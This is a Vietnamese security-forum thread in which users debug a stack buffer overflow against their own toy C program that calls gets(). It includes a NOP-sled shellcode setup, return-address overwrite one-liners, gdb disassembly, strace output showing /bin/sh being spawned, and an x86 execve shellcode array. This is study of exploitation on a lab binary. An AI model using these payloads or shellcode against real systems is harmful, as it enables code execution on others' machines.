<![CDATA[Latest posts for the topic "Vấn đề khi thử exploit hàm gets"]]> /hvaonline/posts/list/23.html JForum - http://www.jforum.net Vấn đề khi thử exploit hàm gets Code:
#include <string.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  char name[8];
  printf("What is your name: ");
  gets(name);
  printf("Aha, your name is: %s\n",name);
  return 0;
}
Ở đây chương trình gặp lỗi buffer overflow ở hàm gets. Em đưa đoạn shellcode vào biến môi trường code như sau Code:
export CODE=`perl -e 'print "\x90"x20';cat shellcode`
trong đó file shellcode chứa shellcode để đổ ra 1 shell. Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3. Sau đó em thử nhồi địa chỉ shellcode vào buffer của chương trình trên như sau: Code:
perl -e 'print "\xb3\xfe\xff\xbf"x20' | ./getname.out
Tuy vậy chương trình không thể nào nhảy được về đoạn shellcode trong biến CODE ở trên mà luôn luôn nhảy đến lệnh printf tiếp theo và chương trình vẫn printf đoạn địa chỉ em nhồi vào. Ai có thể chỉ cho em tại sao được không? :) (Em đã disable cơ chế bảo vệ stack (-fno-stack-protector), stack alignment 4 bytes, và không cho hệ điều hành load địa chỉ random).]]>
/hvaonline/posts/list/24349.html#147046 /hvaonline/posts/list/24349.html#147046 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#147048 /hvaonline/posts/list/24349.html#147048 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#147056 /hvaonline/posts/list/24349.html#147056 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn? Trước hết bạn cho vài thông tin: 1.gcc --version 2.gdb ./target disassemble main ... vv 
Thử gdb rồi nhưng không được, cần sự hướng dẫn cách gdb mà :( Thông tin thì có ngay ;) Code:
gcc --version

gcc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Mã assembly của hàm main chương trình getname: Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>:	push   %ebp
0x080483a5 <main+1>:	mov    %esp,%ebp
0x080483a7 <main+3>:	sub    $0x10,%esp
0x080483aa <main+6>:	movl   $0x80484a0,(%esp)
0x080483b1 <main+13>:	call   0x804830c <printf@plt>
0x080483b6 <main+18>:	lea    -0x8(%ebp),%eax
0x080483b9 <main+21>:	mov    %eax,(%esp)
0x080483bc <main+24>:	call   0x80482ec <gets@plt>
0x080483c1 <main+29>:	lea    -0x8(%ebp),%eax
0x080483c4 <main+32>:	mov    %eax,0x4(%esp)
0x080483c8 <main+36>:	movl   $0x80484b4,(%esp)
0x080483cf <main+43>:	call   0x804830c <printf@plt>
0x080483d4 <main+48>:	mov    $0x0,%eax
0x080483d9 <main+53>:	leave  
0x080483da <main+54>:	ret    
End of assembler dump.
]]>
/hvaonline/posts/list/24349.html#147057 /hvaonline/posts/list/24349.html#147057 GMT
Vấn đề khi thử exploit hàm gets

Tal wrote:
Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3.  
Làm sao bạn biết địa chỉ biến môi trường CODE là như vậy?]]>
/hvaonline/posts/list/24349.html#147703 /hvaonline/posts/list/24349.html#147703 GMT
Re: Vấn đề khi thử exploit hàm gets Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
  char *addr;
  if (argc < 2) {
    printf("Usage: %s <env var name>\n", argv[0]);
  } else {
    addr = getenv(argv[1]);
    if (addr == NULL) {
      printf("The environment variable %s does not exist\\n", argv[1]);
    } else {
      printf("%s is located at %p\n", argv[1], addr);
    }
  }
  return 0;
}
]]>
/hvaonline/posts/list/24349.html#147945 /hvaonline/posts/list/24349.html#147945 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148518 /hvaonline/posts/list/24349.html#148518 GMT Re: Vấn đề khi thử exploit hàm gets

Tal wrote:
Mình dùng 1 chương trình như sau: Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
  char *addr;
  if (argc < 2) {
    printf("Usage: %s <env var name>\n", argv[0]);
  } else {
    addr = getenv(argv[1]);
    if (addr == NULL) {
      printf("The environment variable %s does not exist\\n", argv[1]);
    } else {
      printf("%s is located at %p\n", argv[1], addr);
    }
  }
  return 0;
}
 
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?]]>
/hvaonline/posts/list/24349.html#148618 /hvaonline/posts/list/24349.html#148618 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148657 /hvaonline/posts/list/24349.html#148657 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem: python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn  
Bạn có nhầm không vì độ dài của buffer là 16 bytes + 8 bytes nữa của con trỏ và địa chỉ trả về mới ghi đè được địa chỉ trả về chứ? Lệnh khai thác của bạn mới chỉ đẩy vào buffer 16 bytes = độ dài buffer :-/ Ở đoạn code khai thác mình mới để 20 bytes nên địa chỉ trả về là sai -> không khai thác được. Nhưng khi mình đẩy vào buffer nhiều thứ hơn, nó vẫn chưa nhảy về đúng đoạn shell. Đấy là chỗ mình chưa nắm rõ Hơn nữa là đúng như anh mrro nói, mình đã xác định sai mục tiêu.

mybb wrote:
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?  
Biến môi trường được nạp tại địa chỉ gần nhau nếu tên chương trình chạy có độ dài gần nhau. Ở đây tớ thấy độ dài của 1 chương trình là getname, 1 cái là getenv hơn kém nhau 1 ký tự -> địa chỉ sẽ nạp chênh lệch nhau là 2 bytes. Vậy cơ bản là địa chỉ không chênh lệch lắm khi có đoạn NOP bảo kê. @anh lamer: Hì hì anh chỉ cho em cách exploit thằng này với :D ]]>
/hvaonline/posts/list/24349.html#148750 /hvaonline/posts/list/24349.html#148750 GMT
Re: Vấn đề khi thử exploit hàm gets #include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; } @Ta  l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục :) ]]> /hvaonline/posts/list/24349.html#148757 /hvaonline/posts/list/24349.html#148757 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148793 /hvaonline/posts/list/24349.html#148793 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148796 /hvaonline/posts/list/24349.html#148796 GMT Re: Vấn đề khi thử exploit hàm gets Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
Thì 16 byte mới tới được ebp (chưa đè lên ebp nữa) làm sao mà đè EIP? :-\ Mà ở đây dùng gcc 4.2.5 thì làm gì có khái niệm đè "tới" chỗ này hay chỗ kia :D]]>
/hvaonline/posts/list/24349.html#148863 /hvaonline/posts/list/24349.html#148863 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148871 /hvaonline/posts/list/24349.html#148871 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
#include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; } @Ta 
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục :)  
Chắc bạn chưa xem cái đoạn disassembly của hàm main :)
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x10,%esp 0x080483aa <main+6>: movl $0x80484a0,(%esp) 0x080483b1 <main+13>: call 0x804830c <printf@plt> 0x080483b6 <main+18>: lea -0x8(%ebp),%eax 0x080483b9 <main+21>: mov %eax,(%esp) 0x080483bc <main+24>: call 0x80482ec <gets@plt> 0x080483c1 <main+29>: lea -0x8(%ebp),%eax 0x080483c4 <main+32>: mov %eax,0x4(%esp) 0x080483c8 <main+36>: movl $0x80484b4,(%esp) 0x080483cf <main+43>: call 0x804830c <printf@plt> 0x080483d4 <main+48>: mov $0x0,%eax 0x080483d9 <main+53>: leave 0x080483da <main+54>: ret End of assembler dump. 
]]>
/hvaonline/posts/list/24349.html#148873 /hvaonline/posts/list/24349.html#148873 GMT
Re: Vấn đề khi thử exploit hàm gets Tal đưa ra, tui nghĩ Tal kô compile bằng gcc-4.2.3 đâu, tự nếu compile bằng gcc-4.2.3 thì stack nó kô có được *sạch đẹp* như thế. Chắc là gcc-3.3. Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
Cái này có nghĩa là dành ra 16 byte cho local variables, trong trường hợp này là name, đâu có nhất thiết name nó sẽ chiếm 16 byte đâu. Code:
0x080483b6 <main+18>:	lea    -0x8(%ebp),%eax
 0x080483b9 <main+21>:	mov    %eax,(%esp)
 0x080483bc <main+24>:	call   0x80482ec <gets@plt>
Cái đoạn code này mới quan trọng nè. Nó cho thấy rõ, name = $ebp - 8 ($ebp này là $ebp của main), nên chỉ cần đưa vào name một chuỗi dài hơn 8 byte thì nó đã bắt đầu overwrite $ebp và $eip khi main trả về (hai cái này gọi chính xác phải là $sbp và $rip). --m]]>
/hvaonline/posts/list/24349.html#148877 /hvaonline/posts/list/24349.html#148877 GMT
Re: Vấn đề khi thử exploit hàm gets (gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x18,%esp 0x080483aa <main+6>: and $0xfffffff0,%esp 0x080483ad <main+9>: mov $0x0,%eax 0x080483b2 <main+14>: sub %eax,%esp 0x080483b4 <main+16>: movl $0x80484b4,(%esp) 0x080483bb <main+23>: call 0x80482ec <printf@plt> 0x080483c0 <main+28>: lea -0x8(%ebp),%eax 0x080483c3 <main+31>: mov %eax,(%esp) 0x080483c6 <main+34>: call 0x80482cc <gets@plt> 0x080483cb <main+39>: lea -0x8(%ebp),%eax 0x080483ce <main+42>: mov %eax,0x4(%esp) 0x080483d2 <main+46>: movl $0x80484c8,(%esp) 0x080483d9 <main+53>: call 0x80482ec <printf@plt> 0x080483de <main+58>: mov $0x0,%eax 0x080483e3 <main+63>: leave 0x080483e4 <main+64>: ret m@h:~$ python -c 'print "A" * 12 + "\x38\xf0\xff\xbf"' | ~/test What is your name: Aha, your name is: AAAAAAAAAAAA8��� Thu Aug 28 22:51:48 ICT 2008   --m ]]> /hvaonline/posts/list/24349.html#148885 /hvaonline/posts/list/24349.html#148885 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148891 /hvaonline/posts/list/24349.html#148891 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#148904 /hvaonline/posts/list/24349.html#148904 GMT Re: Vấn đề khi thử exploit hàm gets Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
@TaL, mrro: Bạn nói rõ hơn về stack layout của gcc 4.2.x được ko? :). Cụ thể là nếu compile đoạn mã này bằng gcc 4.2 và preferred-stack-boundary=4 thì sẽ exploit thế nào?]]>
/hvaonline/posts/list/24349.html#149069 /hvaonline/posts/list/24349.html#149069 GMT
Re: Vấn đề khi thử exploit hàm gets http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi. - không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau: Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>:    lea    0x4(%esp),%ecx
0x080483a8 <main+4>:    and    $0xfffffff0,%esp
0x080483ab <main+7>:    pushl  -0x4(%ecx)
0x080483ae <main+10>:   push   %ebp
0x080483af <main+11>:   mov    %esp,%ebp
0x080483b1 <main+13>:   push   %ecx
0x080483b2 <main+14>:   sub    $0x24,%esp
0x080483b5 <main+17>:   movl   $0x80484b0,(%esp)
0x080483bc <main+24>:   call   0x804830c <printf@plt>
0x080483c1 <main+29>:   lea    -0xc(%ebp),%eax
0x080483c4 <main+32>:   mov    %eax,(%esp)
0x080483c7 <main+35>:   call   0x80482ec <gets@plt>
0x080483cc <main+40>:   lea    -0xc(%ebp),%eax
0x080483cf <main+43>:   mov    %eax,0x4(%esp)
0x080483d3 <main+47>:   movl   $0x80484c4,(%esp)
0x080483da <main+54>:   call   0x804830c <printf@plt>
0x080483df <main+59>:   mov    $0x0,%eax
0x080483e4 <main+64>:   add    $0x24,%esp
0x080483e7 <main+67>:   pop    %ecx
0x080483e8 <main+68>:   pop    %ebp
0x080483e9 <main+69>:   lea    -0x4(%ecx),%esp
0x080483ec <main+72>:   ret    
End of assembler dump.
Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx. --m]]>
/hvaonline/posts/list/24349.html#149095 /hvaonline/posts/list/24349.html#149095 GMT
Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko? :) Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ?? :-/ Trong trường hợp này là Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
 
Đúng. độ lớn của stack frame phụ thuộc vào thông số này. Gcc 4.2.x mặc định sẽ gán kích thước của buffer và biến cục bộ và thêm padding sao cho địa chỉ stack (địa chỉ thanh ghi ESP) luôn là bội số của 16 (1 paragraph). Vì thế mà nếu không gán stack-boundary=2 (ESP là bội số của 4 bytes) thì gcc phải tự tính toán để điều chỉnh lại giá trị của buffer sao cho phù hợp. Lấy ví dụ chương trình của tớ nếu để stack boundary mặc định thì sẽ có mã asm tương tự chương trình anh mrro ở trên. Trong mã ASM ở trên cậu cũng có thể thấy các đoạn mã nhằm hiệu chỉnh stack sao cho nó là bội của 16 Ví dụ ở các chỗ tớ bôi màu vàng
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: lea 0x4(%esp),%ecx 0x080483a8 <main+4>: and $0xfffffff0,%esp 0x080483ab <main+7>: pushl -0x4(%ecx) 0x080483ae <main+10>: push %ebp 0x080483af <main+11>: mov %esp,%ebp 0x080483b1 <main+13>: push %ecx 0x080483b2 <main+14>: sub $0x24,%esp 0x080483b5 <main+17>: movl $0x80484b0,(%esp) 0x080483bc <main+24>: call 0x804830c <printf@plt> 0x080483c1 <main+29>: lea -0xc(%ebp),%eax 0x080483c4 <main+32>: mov %eax,(%esp) 0x080483c7 <main+35>: call 0x80482ec <gets@plt> 0x080483cc <main+40>: lea -0xc(%ebp),%eax 0x080483cf <main+43>: mov %eax,0x4(%esp) 0x080483d3 <main+47>: movl $0x80484c4,(%esp) 0x080483da <main+54>: call 0x804830c <printf@plt> 0x080483df <main+59>: mov $0x0,%eax 0x080483e4 <main+64>: add $0x24,%esp 0x080483e7 <main+67>: pop %ecx 0x080483e8 <main+68>: pop %ebp 0x080483e9 <main+69>: lea -0x4(%ecx),%esp 0x080483ec <main+72>: ret End of assembler dump.  
Vì con trỏ, độ lớn biến nguyên ... đều chiếm 4 bytes nên nếu để stack-boundary=2 (bội 4) thì việc tính toán, hiệu chỉnh sẽ trở nên đơn giản hơn. Vì thế code assembly sạch đẹp hơn, dễ nhìn, dễ exploit hơn :D. @mrro: em nghĩ tăng độ dài buffer thêm 4 bytes là vượt qua được chương trình trên để ghi đè RIP đúng không nhỉ? :D Vấn đề là tớ đã chỉnh lại độ dài buffer, điều chỉnh lại địa chỉ nhảy về... nhưng chương trình vẫn không thể nhảy đến đoạn shellcode được. Không hiểu thế nào. Mọi người xem Code:
Tal@vxer:~/Documents/Research$ export CODE=`cat shellcode`
Tal@vxer:~/Documents/Research$ ./getenv CODE
CODE is located at 0xbfffff5a
Tal@vxer:~/Documents/Research$ ./getname 
What is your name: hello
Aha, your name is: hello
Tal@vxer:~/Documents/Research$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | ./getname 
What is your name: Aha, your name is: ����������P���
Tal@vxer:~/Documents/Research$
]]>
/hvaonline/posts/list/24349.html#149202 /hvaonline/posts/list/24349.html#149202 GMT
Re: Vấn đề khi thử exploit hàm gets $ perl -e "A"x12 . "\x5a\xff\xff\xbf" | strace ./getname   --m]]> /hvaonline/posts/list/24349.html#149215 /hvaonline/posts/list/24349.html#149215 GMT Re: Vấn đề khi thử exploit hàm gets execve("./getname", ["./getname"], [/* 38 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0 mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000 mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000 mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fce000, 4096, PROT_READ) = 0 munmap(0xb7fd4000, 50236) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "AAAAAAAAAAAAZ\377\377\277", 1024) = 16 read(0, "", 1024) = 0 write(1, "What is your name: Aha, your nam"..., 55What is your name: Aha, your name is: AAAAAAAAAAAAZ��� ) = 55 execve("��", ["\234\255\24"], [/* 0 vars */]) = -1 ENOENT (No such file or directory) execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0 brk(0) = 0x805e000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0 mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000 mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000 mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fce000, 4096, PROT_READ) = 0 munmap(0xb7fd4000, 50236) = 0 getpid() = 6412 rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0 geteuid32() = 1000 getppid() = 6411 brk(0) = 0x805e000 brk(0x807f000) = 0x807f000 getcwd("/home/haprog/Documents/Research", 4096) = 32 ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbffffd18) = -1 EINVAL (Invalid argument) rt_sigaction(SIGINT, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGTERM, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGTERM, {SIG_DFL}, NULL, 8) = 0 read(0, "", 8192) = 0 exit_group(0) = ? Process 6412 detached   ]]> /hvaonline/posts/list/24349.html#149248 /hvaonline/posts/list/24349.html#149248 GMT Re: Vấn đề khi thử exploit hàm gets

mrro wrote:
@Cognac: lúc đó sẽ có hai trường hợp: - có SSP http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi. - không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau:
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: lea 0x4(%esp),%ecx 0x080483a8 <main+4>: and $0xfffffff0,%esp 0x080483ab <main+7>: pushl -0x4(%ecx) 0x080483ae <main+10>: push %ebp 0x080483af <main+11>: mov %esp,%ebp 0x080483b1 <main+13>: push %ecx 0x080483b2 <main+14>: sub $0x24,%esp 0x080483b5 <main+17>: movl $0x80484b0,(%esp) 0x080483bc <main+24>: call 0x804830c <printf@plt> 0x080483c1 <main+29>: lea -0xc(%ebp),%eax 0x080483c4 <main+32>: mov %eax,(%esp) 0x080483c7 <main+35>: call 0x80482ec <gets@plt> 0x080483cc <main+40>: lea -0xc(%ebp),%eax 0x080483cf <main+43>: mov %eax,0x4(%esp) 0x080483d3 <main+47>: movl $0x80484c4,(%esp) 0x080483da <main+54>: call 0x804830c <printf@plt> 0x080483df <main+59>: mov $0x0,%eax 0x080483e4 <main+64>: add $0x24,%esp 0x080483e7 <main+67>: pop %ecx 0x080483e8 <main+68>: pop %ebp 0x080483e9 <main+69>: lea -0x4(%ecx),%esp 0x080483ec <main+72>: ret End of assembler dump. 
Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx. --m 
Đoạn tô vàng có nghĩa là lấy thanh ghi [ecx] -4, rồi move vào esp và ret??? Vậy thì tui sẽ viết đè lên ecx với địa chị ($ebp+4), sau đó overwrite tiếp lên ebp địa chỉ của shellcode: mrro thử chạy Code:
python -c 'print "A" * 8 + "\xb2\x83\x04\x08" + "\xAA\xBB\XCC\XDD"' | ./vul
Trong đó \xAA\xBB\XCC\XDD là địa chỉ biến môi trường chứa shellcode chẳng hạn. Mô hình stack trong trường hợp này: high mem --------------------------------------------------------> low mem [*argv] [argc ] [eip ] [ %ecx-4 ] [ebp ] [ecx ] [buf[8] ] PS: Tui ko nhớ cách input dạng này trong gdb khi run, bác mrro chỉ tui được ko?]]>
/hvaonline/posts/list/24349.html#149739 /hvaonline/posts/list/24349.html#149739 GMT
Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
PS: Tui ko nhớ cách input dạng này trong gdb khi run, bác mrro chỉ tui được ko?  
Hai bước (học lóm của lamer): Code:
1. python -c 'print "A" * 8 + "\xb2\x83\x04\x08" + "\xAA\xBB\XCC\XDD"' > exp

2. gdb> run < exp
--m]]>
/hvaonline/posts/list/24349.html#149743 /hvaonline/posts/list/24349.html#149743 GMT
Re: Vấn đề khi thử exploit hàm gets Code:
char shellcode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
        "\x50\x66\x68\x2d\x63\x89\xe1\x50\x68\x64\x61\x74\x65\x89\xe2"
        "\x50\x52\x51\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xb0\x01\x31\xdb"
        "\xcd\x80";
--m]]>
/hvaonline/posts/list/24349.html#149745 /hvaonline/posts/list/24349.html#149745 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/list/24349.html#149888 /hvaonline/posts/list/24349.html#149888 GMT